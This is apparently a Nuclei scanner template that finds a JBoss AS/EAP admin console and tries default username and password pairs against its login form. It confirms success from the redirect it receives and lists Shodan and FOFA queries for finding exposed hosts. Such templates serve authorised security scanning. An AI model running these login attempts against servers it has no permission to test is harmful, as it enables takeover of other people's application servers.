jboss-admin-console-default-login: JBoss AS/EAP Admin Console - Default Login

id: jboss-admin-console-default-login

info:
  name: JBoss AS/EAP Admin Console - Default Login
  author: J2EEScan (ilmila),Tortuginator
  severity: high
  description: |
    JBoss AS/EAP SEAM-based administration console at /admin-console/login.seam accepted default credentials, granting an attacker full remote administration of the application server.
  reference:
    - https://github.com/ilmila/J2EEScan/blob/master/src/main/java/burp/j2ee/issues/impl/JBossAdminConsole.java
    - http://docs.jboss.org/jbossas/6/Admin_Console_Guide/en-US/html/Administration_Console_User_Guide-Accessing_the_Console.html
    - https://www.exploit-db.com/exploits/36653/
    - https://bugzilla.redhat.com/show_bug.cgi?id=615956
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-1392
  metadata:
    verified: true
    max-request: 17
    vendor: redhat
    product: jboss_application_server
    shodan-query: http.component:"JBoss"
    fofa-query: app="JBoss"
  tags: jboss,admin-console,default-login,seam,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /admin-console/login.seam HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains_any(body, "JBoss AS Admin", "JBoss EAP Admin", "Embedded Jopr")'
          - 'contains(body, "javax.faces.ViewState")'
        condition: and

  - raw:
      - |
        GET /admin-console/login.seam HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /admin-console/login.seam HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login_form=login_form&login_form%3Aname={{username}}&login_form%3Apassword={{password}}&login_form%3Asubmit=Login&javax.faces.ViewState={{url_encode(viewstate)}}

    attack: clusterbomb

    payloads:
      username:
        - admin
        - jboss
      password:
        - admin
        - ""
        - jboss
        - password

    stop-at-first-match: true

    extractors:
      - type: regex
        name: viewstate
        part: body
        group: 1
        internal: true
        regex:
          - '(?:name|id)="javax\.faces\.ViewState"[^>]*?value="([^"]+)"'

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 302'
          - 'contains(header_2, "secure/summary.seam")'
        condition: and
# digest: 4a0a00473045022079714db3a9d2ab5d77fb9901c1bcd5cb5b872a00933bfcb9c6737f6c959a9ca1022100aa5d78fcffd7248bfccd3e551c9c3cd1b750d49e07a25484efbc23e795c53976:922c64590222798bb761d5b6d8e72950

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